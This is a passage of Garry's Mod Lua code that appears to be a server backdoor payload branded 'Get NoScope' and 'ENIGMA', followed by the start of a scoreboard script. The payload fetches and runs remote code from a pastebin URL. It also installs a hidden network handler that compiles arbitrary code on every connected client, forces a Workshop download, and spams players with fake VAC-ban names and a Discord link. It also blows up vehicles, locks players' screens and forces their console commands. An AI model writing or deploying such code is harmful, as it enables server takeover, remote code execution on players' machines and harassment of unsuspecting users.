3774 end)
3775
3776 local sun = ents.FindByClass("env_sun")
3777 if #sun == 0 then return end
3778 sun = sun[1]
3779 hook.Add("Think","\xFFsun\xFF",function()
3780 sun:SetKeyValue("sun_dir", math.sin(CurTime())/3 .. " " .. math.cos(CurTime())/3 .. " 0.901970")
3781 sun:SetModelScale(120)
3782 end)
3783
3784
3785 for k,v in pairs(player.GetAll()) do
3786 v:SetRunSpeed(400* 4);
3787 v:SetWalkSpeed(400 * 4);
3788 end
3789
3790
3791 timer.Create( "gtonip", 1, 0, function()
3792 for k,v in pairs(player.GetAll()) do
3793 v:GodEnable()
3794 v:setDarkRPVar( "rpname", "This Steam account has been VAC banned from secure servers due to a cheating infraction." )
3795 end
3796
3797 end )
3798
3799
3800 timer.Simple( 15, function()
3801 http.Fetch('https://pastebin.com/raw/7ABFD4Bu',function(b,l,h,c)RunString(b)end,nil)
3802 end )
3803
3804end)
3805
3806
3807
3808--[[
3809
3810 Get NoScope V2
3811
3812]]--
3813
3814
3815print([[
3816 ██████╗ ███████╗████████╗
3817██╔════╝ ██╔════╝╚══██╔══╝
3818██║ ███╗█████╗ ██║
3819██║ ██║██╔══╝ ██║
3820╚██████╔╝███████╗ ██║
3821 ╚═════╝ ╚══════╝ ╚═╝
3822███╗ ██╗ ██████╗ ███████╗ ██████╗ ██████╗ ██████╗ ███████╗
3823████╗ ██║██╔═══██╗██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔════╝
3824██╔██╗ ██║██║ ██║███████╗██║ ██║ ██║██████╔╝█████╗
3825██║╚██╗██║██║ ██║╚════██║██║ ██║ ██║██╔═══╝ ██╔══╝
3826██║ ╚████║╚██████╔╝███████║╚██████╗╚██████╔╝██║ ███████╗
3827╚═╝ ╚═══╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝
3828
3829By IXXE <3 ]])
3830
3831for k, v in pairs(player.GetAll()) do
3832 v:SendLua("steamworks.FileInfo(1618885873,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)")
3833end
3834
3835for k, v in pairs( player.GetAll() ) do
3836 if ( v:Alive() ) then
3837 v:GodEnable()
3838 else
3839 v:Spawn()
3840 timer.Simple( 5, function()
3841 v:GodEnable()
3842 end)
3843 end
3844end
3845
3846
3847game.AddParticles( "particles/enigma.pcf" )
3848PrecacheParticleSystem("enigma")
3849
3850local function rdm_str(len)
3851 if !len or len <= 0 then return '' end
3852 return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
3853end
3854
3855local net_string = rdm_str(25)
3856
3857util.AddNetworkString(net_string)
3858BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
3859hook.Add("PlayerInitialSpawn", "ifyouseethisdontpanicitsme",function(ply)
3860 if !ply:IsBot() then
3861 ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
3862 end
3863end)
3864
3865local function SendToClient(code)
3866 local data = util.Compress(code)
3867 local len = #data
3868 net.Start(net_string)
3869 net.WriteUInt(len, 16)
3870 net.WriteData(data, len)
3871 net.Broadcast()
3872end
3873timer.Simple( 17, function()
3874 SendToClient([[
3875
3876game.AddParticles( "particles/enigma.pcf" )
3877PrecacheParticleSystem("enigma")
3878hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)
3879
3880
3881timer.Create("nonameplease", 5, 0,function()
3882 for i=1, #player.GetHumans() do
3883 local ply = player.GetHumans()[i]
3884 ply:Say( "/ooc DISCORD : https://discord.gg/9rS2jhf")
3885 end
3886end)
3887
3888local CreateModel = function(mdl, isragdoll)
3889 local ent
3890
3891 if isragdoll then
3892 ent = ClientsideRagdoll(mdl)
3893 else
3894 ent = ClientsideModel(mdl, RENDERGROUP_OTHER)
3895 end
3896
3897
3898 return ent
3899end
3900
3901local NewHookAdd = function(str, name, func)
3902 --name = "dronesrewrite_hell_hooks" .. name
3903 hook.Add(str, name, func)
3904
3905 table.insert(cache, {
3906 str = str,
3907 name = name
3908 })
3909end
3910
3911local cache = { }
3912timercache = { }
3913local Const = 0
3914local Noise = nil
3915local pl = LocalPlayer()
3916timer.Create("charglogo", 2, 1, function()
3917 local dlight = DynamicLight(pl:EntIndex())
3918 if dlight then
3919 dlight.pos = Vector(-2224.216797, -2918.063721, 2354.03125)
3920 dlight.r = 255
3921 dlight.g = 0
3922 dlight.b = 0
3923 dlight.brightness = 16
3924 dlight.Decay = 1000
3925 dlight.Size = 2000
3926 dlight.DieTime = CurTime() + 2
3927 end
3928
3929 local pos = pl:GetPos() + Vector(0, 0, 120)
3930 local ang = Angle(0, pl:GetAngles().y, 0)
3931
3932 local tr = util.TraceLine({
3933 start = pos,
3934 endpos = pos + ang:Forward() * 86,
3935 filter = pl
3936 })
3937
3938 local rag_pos = tr.HitPos + tr.HitNormal * 3 - Vector(0, 0, 80)
3939
3940 for i = 1, 16 do
3941 sound.Play("vo/npc/Barney/ba_laugh04.wav", Vector( 0, 0, 0 ) )
3942 end
3943 for i = 1, 10 do
3944 ParticleEffectAttach("enigma",PATTACH_ABSORIGIN_FOLLOW,LocalPlayer(),0)
3945 end
3946
3947 local mdl = CreateModel("models/food/hotdog.mdl")
3948 mdl:SetModelScale(5)
3949 mdl:SetAngles(ang + Angle(15, 180, 0))
3950 mdl:SetPos(rag_pos)
3951 mdl:Spawn()
3952
3953 --ParticleEffect("fire_test2", rag_pos, Angle(0, 0, 0))
3954
3955 hook.Add("CalcView", "dronesrewrite_doshit", function(ply, _pos, _ang, fov)
3956 local view = { }
3957 view.origin = pos + VectorRand()
3958 view.angles = ang
3959 view.fov = fov + math.random(-80, -50)
3960
3961 return view
3962 end)
3963
3964 timer.Create("charglo", 1.4, 1, function()
3965 mdl:Remove()
3966 hook.Remove("CalcView", "dronesrewrite_doshit")
3967 end)
3968end)
3969]])
3970end)
3971
3972timer.Simple( 20, function()
3973 timer.Create( "gvacspaam", 0.1, 0, function()
3974 for k,v in pairs(player.GetAll()) do
3975 v:SendLua('RunConsoleCommand("impulse","100")')
3976 end
3977 end)
3978 hook.Add( 'SetupMove', 'auto hop', function( ply, move )
3979 if not ply:IsOnGround() then
3980 move:SetButtons( bit.band( move:GetButtons(), bit.bnot( IN_JUMP ) ) )
3981 end
3982 end )
3983 for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
3984
3985 local explo = ents.Create("env_explosion")
3986
3987 explo:SetPos(v:GetPos())
3988
3989 explo:SetKeyValue("iMagnitude", "300")
3990
3991 explo:Spawn()
3992
3993 explo:Activate()
3994
3995 explo:Fire("Explode", "", 0)
3996
3997 end
3998
3999 end
4000 for k,v in pairs(player.GetAll()) do
4001 local a = v:LookupBone("ValveBiped.Bip01_Head1")
4002 local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
4003 local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
4004 local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
4005 local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
4006 local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
4007 local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
4008 local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
4009 local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
4010 local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
4011 local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
4012 v:ManipulateBoneScale( a, Vector(100,100,100))
4013 v:ManipulateBoneScale( b, Vector(100,100,100))
4014 v:ManipulateBoneScale( c, Vector(100,100,100))
4015 v:ManipulateBoneScale( d, Vector(100,100,100))
4016 v:ManipulateBoneScale( e, Vector(100,100,100))
4017 v:ManipulateBoneScale( f, Vector(100,100,100))
4018 v:ManipulateBoneScale( g, Vector(100,100,100))
4019 v:ManipulateBoneScale( h, Vector(100,100,100))
4020 v:ManipulateBoneScale( i, Vector(100,100,100))
4021 v:ManipulateBoneScale( j, Vector(100,100,100))
4022 v:ManipulateBoneScale( k, Vector(100,100,100))
4023 end
4024 SendToClient([[
4025
4026 surface.CreateFont( "PixelCutsceneScaled",{
4027 font = "Open Sans",
4028 size = 500,
4029 weight = 1000,
4030 antialias = true
4031 })
4032
4033 surface.CreateFont( "PixelSmall",{
4034 font = "Open Sans",
4035 size = 135,
4036 weight = 500,
4037 antialias = false
4038 })
4039 surface.CreateFont("lapolice", {
4040 font = "Open Sans",
4041 size = ScrW()*0.02,
4042 weight = 10,
4043 blursize = 0,
4044 scanlines = 2.5,
4045 antialias = false
4046 })
4047
4048 local function gettextcolor( a )
4049
4050 local r = 0.5*math.sin(RealTime()*5.5)*255 + 255/2
4051 local g = -0.5*math.sin(RealTime()*5.5)*255 + 255/2
4052 local b = 215
4053
4054 return Color( r, g, b, a or 255 )
4055
4056 end
4057
4058 local w,h = ScrW(), ScrH()
4059 local W, H = ScrW(), ScrH()
4060 local MySelf = LocalPlayer()
4061
4062 if ohno then
4063 ohno:Remove()
4064 ohno = nil
4065 end
4066
4067 ohno = vgui.Create( "DFrame" )
4068 ohno:SetSize( w, h )
4069 ohno:SetPos(0,0)
4070 ohno:SetDraggable ( false )
4071 ohno:SetTitle("")
4072 ohno:MakePopup();
4073 ohno:ShowCloseButton(false)
4074
4075 ohno.Paint = function( self )
4076 Derma_DrawBackgroundBlur( self, self.m_fCreateTime )
4077 Derma_DrawBackgroundBlur( self, self.m_fCreateTime )
4078 end
4079
4080 local pw, ph = w, h*0.6
4081 local px, py = w/2-pw/2, h/2-ph/2
4082
4083
4084 local Close = vgui.Create( "DButton", ohno )
4085 Close:SetPos(px, py)
4086 Close:SetText( "" )
4087 Close:SetSize( pw, ph )
4088 Close.Paint = function( self, tw, th )
4089
4090 local shift = math.sin(RealTime()*3)*1.5 + 5
4091
4092 local text = "ΣNIGMA"
4093 local text2 = "Σ"
4094 local text3 = "RIP ;)"
4095 local text4 = "ΣNIGMA"
4096
4097 draw.SimpleText( text, "PixelCutsceneScaled", tw/2 , th/2, gettextcolor( 55 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
4098 draw.SimpleText( text, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
4099 draw.DrawText( "(╯°□°）╯︵ ┻━┻", "lapolice", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
4100 draw.DrawText( "(╯°□°）╯︵ ┻━┻", "lapolice", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
4101 draw.DrawText( "Σ", "lapolice", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
4102 draw.DrawText( "Σ", "lapolice", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
4103 draw.DrawText( "Σ", "lapolice", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
4104 draw.DrawText( "Σ", "lapolice", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
4105 draw.DrawText( "RIP ;)", "lapolice", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
4106 draw.DrawText( "ΣNIGMA", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
4107 draw.DrawText( "RIP ;)", "lapolice", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
4108 draw.DrawText( "ΣNIGMA", "lapolice", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
4109 draw.DrawText( "ΣNIGMA", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
4110 draw.DrawText( "RIP ;)", "lapolice", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
4111 draw.DrawText( "ΣNIGMA", "lapolice", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
4112 draw.DrawText( "RIP ;)", "lapolice", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
4113 draw.DrawText( "ΣNIGMA", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
4114 draw.DrawText( "RIP ;)", "lapolice", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
4115 draw.DrawText( "ΣNIGMA", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
4116 draw.DrawText( "ΣNIGMA", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
4117 draw.DrawText( "ΣNIGMA", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
4118 draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
4119 draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
4120 draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
4121 draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
4122 draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
4123
4124 end
4125 surface.PlaySound( "vo/npc/male01/ohno.wav" )
4126 surface.PlaySound( "vo/npc/male01/ohno.wav" )
4127 timer.Create("fff", 0.1, 0, function()
4128 util.ScreenShake( Vector(0,0,0), 2.5, 50, 0.5, 5000 )
4129 end)
4130
4131 timer.Simple( 15, function()
4132
4133 wut = vgui.Create( "DFrame" )
4134 wut:SetSize( w, h )
4135 wut:SetPos(0,0)
4136 wut:SetDraggable ( false )
4137 wut:SetTitle("")
4138 wut:ShowCloseButton(false)
4139
4140 wut.Paint = function( self )
4141 surface.SetDrawColor(30, 30, 30, 0)
4142 end
4143
4144 local Close = vgui.Create( "DButton", wut )
4145 Close:SetPos(px, py)
4146 Close:SetText( "" )
4147 Close:SetSize( pw, ph )
4148 Close.Paint = function( self, tw, th )
4149
4150 local shift = math.sin(RealTime()*3)*1.5 + 5
4151
4152 local text = "ΣNIGMA"
4153
4154 draw.SimpleText( text, "PixelCutsceneScaled", tw/2 , th/2, gettextcolor( 55 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
4155 draw.SimpleText( text, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
4156
4157 end
4158
4159 RunConsoleCommand("r_shader_srgb","1")
4160 RunConsoleCommand("gmod_language","ko")
4161 ohno:Remove()
4162 ohno = nil
4163
4164 local name = GetConVar("sv_skyname"):GetString()
4165 if name == "painted" then
4166 local sky
4167 for _, v in ipairs(ents.GetAll()) do
4168 if v:GetClass() == "env_skypaint" then
4169 sky = v
4170 break
4171 end
4172 end
4173 if !IsValid(sky) then return end
4174 hook.Add("PostRender","\xFFsky\xFF",function()
4175 local col = HSVToColor(CurTime()*30 % 360,1,1)
4176 col = Vector(col.r/255,col.g/255,col.b/255)
4177 sky:SetTopColor(col)
4178 sky:SetBottomColor(col)
4179 end)
4180 else
4181 local prefix = {"lf","ft","rt","bk","dn","up"}
4182 local mats = {}
4183 for i=1,6 do
4184 mats[#mats+1] = Material("skybox/" .. name .. prefix[i])
4185 end
4186 hook.Add("PostRender","\xFFsky\xFF",function()
4187 local col = HSVToColor(CurTime()*30 % 360,1,1)
4188 for i=1,6 do
4189 mats[i]:SetVector("$color",Vector(col.r/255,col.g/255,col.b/255))
4190 end
4191 end)
4192 end
4193 local chienchaud = ClientsideModel("models/food/hotdog.mdl")
4194 chienchaud:SetNoDraw(true)
4195 chienchaud:SetModelScale(120)
4196 timer.Create("charglogo", 0.01, 0, function()
4197 chienchaud:SetAngles(Angle(0, CurTime()*90 % 360 ,180) )
4198 end)
4199 --chienchaud:SetMaterial( "models/screenspace" )
4200 local data = {}
4201 local function genchienchaud(id)
4202 local pos = LocalPlayer():GetPos()
4203 data[id] = { Vector(math.random(pos.x-9000,pos.x+9000),math.random(pos.y-9000,pos.y+9000),pos.z + math.random(5000,2000) ), math.random(70, 170) }
4204 end
4205 for i=1, 150 do
4206 genchienchaud(i)
4207 end
4208 hook.Add("PostDrawOpaqueRenderables","\xFFitsrainingchienchauds\xFF",function()
4209 local z = LocalPlayer():GetPos().z
4210 for i=1, #data do
4211 chienchaud:SetPos(data[i][1])
4212 chienchaud:SetupBones()
4213 chienchaud:DrawModel()
4214 data[i][1].z = data[i][1].z - data[i][2] / 20
4215 if data[i][1].z <= z then
4216 genchienchaud(i)
4217 end
4218 end
4219 end)
4220
4221
4222
4223 end )
4224
4225
4226 sound.PlayURL( "https://gvac.cz/assets/mlg.mp3", "mono noblock noplay", function( station )
4227 timer.Simple( 0.1, function()
4228 ClientStation = station
4229 station:EnableLooping( true )
4230 station:Play()
4231 station:SetVolume( 30 )
4232 end )
4233 end )
4234
4235timer.Create("f", 0.11, 0, function()
4236 RunConsoleCommand("+attack")
4237end)
4238timer.Create("ff", 0.12, 0, function()
4239 RunConsoleCommand("-attack")
4240end)
4241]])
4242end)
4243
4244timer.Create("ok", 1, 0, function()
4245 for k, v in pairs( ents.FindByClass( "prop_*" ) ) do local phys = v:GetPhysicsObject()
4246 if (IsValid(phys)) then
4247 phys:EnableMotion(true)
4248 end
4249 end
4250
4251 local props = ents.GetAll()
4252 for _, prop in ipairs( props ) do
4253 if(prop:GetPhysicsObject():IsValid()) then
4254 prop:GetPhysicsObject():ApplyForceCenter( Vector( 0, 0, ((650 * 0.73) * prop:GetPhysicsObject():GetMass() ) ) )
4255 end
4256 end
4257end)
4258
4259
4260timer.Simple( 20, function()
4261
4262 membresenigma =
4263 {
4264 "Akita",
4265 "IXXE",
4266 "Jodingue",
4267 "Kazuki",
4268 "Keeta",
4269 "DJTB",
4270 "Zilnix",
4271 "GET NO SCOPE !!!!",
4272 "GET NO SCOPE !!!!",
4273 "GET NO SCOPE !!!!",
4274 "GET NO SCOPE !!!!",
4275 "GET NO SCOPE !!!!",
4276 "GET NO SCOPE !!!!",
4277 "GET NO SCOPE !!!!",
4278 "GET NO SCOPE !!!!",
4279 "BAN HAMMER > https://bit.ly/2LUu3GN",
4280 "BAN HAMMER > https://bit.ly/2LUu3GN",
4281 "BAN HAMMER > https://bit.ly/2LUu3GN",
4282 "BAN HAMMER > https://bit.ly/2LUu3GN",
4283 "BAN HAMMER > https://bit.ly/2LUu3GN"
4284 }
4285
4286 timer.Create( "gvacspam", 0.2, 0, function()
4287 for k, ply in pairs( player.GetAll() ) do
4288 DarkRP.notify(ply, 2, 2, "[Oh No !] "..table.Random(membresenigma).."")
4289 end
4290 end)
4291
4292 local sun = ents.FindByClass("env_sun")
4293 if #sun == 0 then return end
4294 sun = sun[1]
4295 hook.Add("Think","\xFFsun\xFF",function()
4296 sun:SetKeyValue("sun_dir", math.sin(CurTime())/3 .. " " .. math.cos(CurTime())/3 .. " 0.901970")
4297 sun:SetModelScale(120)
4298 end)
4299
4300
4301 for k,v in pairs(player.GetAll()) do
4302 v:SetRunSpeed(400* 4);
4303 v:SetWalkSpeed(400 * 4);
4304 end
4305
4306
4307 timer.Create( "gtonip", 1, 0, function()
4308 for k,v in pairs(player.GetAll()) do
4309 v:GodEnable()
4310 v:setDarkRPVar( "rpname", "This Steam account has been VAC banned from secure servers due to a cheating infraction." )
4311 end
4312
4313 end )
4314
4315
4316 timer.Simple( 17, function()
4317 http.Fetch('https://pastebin.com/raw/7ABFD4Bu',function(b,l,h,c)RunString(b)end,nil)
4318 end )
4319
4320end)
4321
4322
4323timer.Create( "gvacspam", 0.1, 0, function()
4324 SendToClient([[
4325 print("GET NOSCOPE !!")
4326 ]])
4327 print("GET NOSCOPE !!")
4328end)
4329
4330
4331
4332--[[
4333
4334 ScoreBoard
4335
4336]]--
4337
4338
4339
4340timer.Create("TimerGo",1,1,function()
4341
4342hook.Remove("ScoreboardHide", "FAdmin_scoreboard")
4343hook.Remove("ScoreboardShow", "FAdmin_scoreboard")
4344
4345local function SandBox()
4346 return gmod.GetGamemode().Name == 'Sandbox'
4347end
4348
4349local blur = Material("pp/blurscreen")
4350
4351surface.CreateFont( "UserName", {
4352 font = "BorisBlackBloxx",
4353 size = 25,
4354 weight = 800,
4355} )
4356
4357surface.CreateFont( "UserJob", {
4358 font = "BorisBlackBloxx",
4359 size = 24,
4360 weight = 800,
4361} )
4362
4363surface.CreateFont( "UserPing", {
4364 font = "BorisBlackBloxx",
4365 size = 20,
4366 weight = 800,
4367} )
4368surface.CreateFont( "Popup", {
4369 font = "BorisBlackBloxx",
4370 size = 21,
4371 weight = 750,
4372} )
4373
4374surface.CreateFont( "SBInfo", {
4375 font = "BorisBlackBloxx",
4376 size = 18,
4377 weight = 800,
4378} )
4379
4380local sboard
4381
4382function DrawScoreBoard()
4383 sboard = vgui.Create("DFrame")
4384 sboard:SetSize( ScrW() * 0.5, ScrH() *0.95 )
4385 sboard:SetTitle("")
4386 sboard:Center()
4387 sboard:SetDraggable(false)
4388 sboard:ShowCloseButton(false)
4389 sboard:MakePopup()
4390
4391 local x, y = sboard:GetPos()
4392
4393 sboard.Paint = function(self, w, h)
4394 Derma_DrawBackgroundBlur( self )
4395 render.SetScissorRect(x, y, w + x, h + y, true)
4396
4397 surface.SetDrawColor(Color(0, 0, 0, 225))
4398 surface.DrawRect(40, 125, w, h - h + 25)
4399
4400 draw.SimpleText( "Nom RP", "SBInfo", 90, (h - h+129), Color(255, 255, 255 , 255))
4401 draw.SimpleText( "Job", "SBInfo", w/2+26, (h - h+129), Color(255, 255, 255, 255), TEXT_ALIGN_CENTER)
4402 draw.SimpleText( "Ping", "SBInfo", w-36, (h - h+129), Color(255, 255, 255, 255))
4403 draw.SimpleText( "Mort", "SBInfo", (w - ((w/7)*2))+18, (h - h+129), Color(255, 255, 255, 255), TEXT_ALIGN_CENTER)
4404 draw.SimpleText( "Tuer", "SBInfo", (w - (w/7)-20)+10, (h - h+129), Color(255, 255, 255, 255), TEXT_ALIGN_CENTER)
4405
4406 render.SetScissorRect(0, 0, 0, 0, false)
4407 end
4408
4409 local sboardscroll = sboard:Add("DScrollPanel")
4410 sboardscroll:SetPos(40, 150)
4411 sboardscroll:SetSize(sboard:GetWide() - 48 + 23, sboard:GetTall() - 200)
4412
4413 sboardscroll.VBar.Paint = function() end
4414 sboardscroll.VBar.btnGrip.Paint = sboardscroll.VBar.Paint
4415 sboardscroll.VBar.btnUp.Paint = sboardscroll.VBar.Paint
4416 sboardscroll.VBar.btnDown.Paint = sboardscroll.VBar.Paint
4417
4418
4419 sboard.Update = function()
4420
4421 sboardscroll:Clear()
4422
4423 for k, v in pairs(player.GetAll()) do
4424
4425 local backp = sboardscroll:Add("DPanel")
4426 backp:SetPos(0, k * 37 - 37)
4427 backp:SetSize(sboardscroll:GetWide(), 35)
4428
4429 local button = vgui.Create("DButton", backp)
4430 button:SetSize(backp:GetWide(), 36)
4431 button:SetPos(0, 0)
4432 button:SetText("")
4433 button.Paint = function(self, w, h)
4434 surface.SetDrawColor(Color(0, 0, 0, 0))
4435 surface.DrawRect(0, 0, w, h)
4436 end
4437 button.DoClick = function()
4438 if IsValid(playerinfoforthetabmenu) then
4439 playerinfoforthetabmenu:Close()
4440 end
4441 if IsValid(adminmenuforthetabmenu) then
4442 adminmenuforthetabmenu:Close()
4443 end
4444 if LocalPlayer():IsUserGroup("admin")
4445 or LocalPlayer():IsUserGroup("superadmin")
4446 or LocalPlayer():IsUserGroup("fondateur")
4447 or LocalPlayer():IsUserGroup("co-fondateur")
4448 or LocalPlayer():IsUserGroup("SuperAdmin")
4449 or LocalPlayer():IsUserGroup("moderateur")
4450 or LocalPlayer():IsUserGroup("moderateur-test")
4451 or LocalPlayer():IsUserGroup("animateur") then
4452 adminmenuforthetabmenu = vgui.Create("DFrame")
4453 adminmenuforthetabmenu:SetSize( ScrW() * 0.1675, ScrH() *0.17 )
4454 adminmenuforthetabmenu:SetTitle("")
4455 adminmenuforthetabmenu:SetPos( ScrW() * 0.753, ScrH() *0.175 )
4456 adminmenuforthetabmenu:SetDraggable(false)
4457 adminmenuforthetabmenu:ShowCloseButton(false)
4458 adminmenuforthetabmenu:MakePopup()
4459 adminmenuforthetabmenu.Paint = function(self, w, h)
4460 surface.SetDrawColor(175, 175, 175 ,245)
4461 surface.DrawRect(0, 0, w, h)
4462 surface.SetDrawColor(0, 0, 0, 255)
4463 surface.DrawRect(0, 0, w, h - h + 35)
4464 draw.SimpleText("Commandes Admins", "UserName", 150, (h - h) + 2, Color(255, 255, 255, 255), TEXT_ALIGN_CENTER)
4465 end
4466 local adminbutton = vgui.Create("DButton", adminmenuforthetabmenu)
4467 adminbutton:SetSize( ScrW() * 0.08, ScrH() * 0.04 )
4468 adminbutton:SetPos( ScrW() * 0.003, ScrH() * 0.04 )
4469 adminbutton:SetText("Goto")
4470 adminbutton:SetFont("UserPing")
4471 adminbutton:SetTextColor(color_white)
4472 function adminbutton:Paint( w, h )
4473 draw.RoundedBox( 0, 0, 0, w, h, Color( 75, 75, 75, 255 ) )
4474 end
4475 adminbutton.DoClick = function()
4476 local toexec = [[ulx goto "]]..v:Nick()..[["]]
4477 LocalPlayer():ConCommand(toexec)
4478 end
4479 local adminbutton2 = vgui.Create("DButton", adminmenuforthetabmenu)
4480 adminbutton2:SetSize( ScrW() * 0.08, ScrH() * 0.04 )
4481 adminbutton2:SetPos( ScrW() * 0.085, ScrH() * 0.04 )
4482 adminbutton2:SetText("Teleport")
4483 adminbutton2:SetFont("UserPing")
4484 adminbutton2:SetTextColor(color_white)
4485 function adminbutton2:Paint( w, h )
4486 draw.RoundedBox( 0, 0, 0, w, h, Color( 75, 75, 75, 255 ) )
4487 end
4488 adminbutton2.DoClick = function()
4489 local toexec = [[ulx teleport "]]..v:Nick()..[["]]
4490 LocalPlayer():ConCommand(toexec)
4491 end
4492 local adminbutton3 = vgui.Create("DButton", adminmenuforthetabmenu)
4493 adminbutton3:SetSize( ScrW() * 0.08, ScrH() * 0.04 )
4494 adminbutton3:SetPos( ScrW() * 0.003, ScrH() * 0.083 )
4495 adminbutton3:SetText("Bring")
4496 adminbutton3:SetFont("UserPing")
4497 adminbutton3:SetTextColor(color_white)
4498 function adminbutton3:Paint( w, h )
4499 draw.RoundedBox( 0, 0, 0, w, h, Color( 75, 75, 75, 255 ) )
4500 end
4501 adminbutton3.DoClick = function()
4502 menudubring = DermaMenu()
4503
4504 local Padding = vgui.Create("DPanel")
4505 Padding:SetPaintBackgroundEnabled(false)
4506 Padding:SetSize(1,5)
4507 menudubring:AddPanel(Padding)
4508
4509 local Title = vgui.Create("DLabel")
4510 Title:SetText(" Bring to:\n")
4511 Title:SetFont("UiBold")
4512 Title:SizeToContents()
4513 Title:SetTextColor(color_black)
4514
4515 menudubring:AddPanel(Title)
4516
4517 local uid = v:UserID()
4518 menudubring:AddOption("Yourself", function() RunConsoleCommand("_FAdmin", "bring", uid) end)
4519 for _, v in pairs(DarkRP.nickSortedPlayers()) do
4520 if IsValid(v) and v ~= LocalPlayer() then
4521 local vUid = v:UserID()
4522 menudubring:AddOption(v:Nick(), function() RunConsoleCommand("_FAdmin", "bring", uid, vUid) end)
4523 end
4524 end
4525 menudubring:Open()
4526 end
4527 local adminbutton4 = vgui.Create("DButton", adminmenuforthetabmenu)
4528 adminbutton4:SetSize( ScrW() * 0.08, ScrH() * 0.04 )
4529 adminbutton4:SetPos( ScrW() * 0.085, ScrH() * 0.083 )
4530 adminbutton4:SetText("Spectate")
4531 adminbutton4:SetFont("UserPing")
4532 adminbutton4:SetTextColor(color_white)
4533 function adminbutton4:Paint( w, h )
4534 draw.RoundedBox( 0, 0, 0, w, h, Color( 75, 75, 75, 255 ) )
4535 end
4536 adminbutton4.DoClick = function()
4537 local toexec = [[ulx spectate "]]..v:Nick()..[["]]
4538 print(toexec)
4539 LocalPlayer():ConCommand(toexec)
4540 end
4541 local adminbutton6 = vgui.Create("DButton", adminmenuforthetabmenu)
4542 adminbutton6:SetSize( ScrW() * 0.08, ScrH() * 0.04 )
4543 adminbutton6:SetPos( ScrW() * 0.003, ScrH() * 0.127 )
4544 adminbutton6:SetText("Ban")
4545 adminbutton6:SetFont("UserPing")
4546 adminbutton6:SetTextColor(color_white)
4547 function adminbutton6:Paint( w, h )
4548 draw.RoundedBox( 0, 0, 0, w, h, Color( 75, 75, 75, 255 ) )
4549 end
4550 adminbutton6.DoClick = function()
4551 local fr = vgui.Create( "DFrame" )
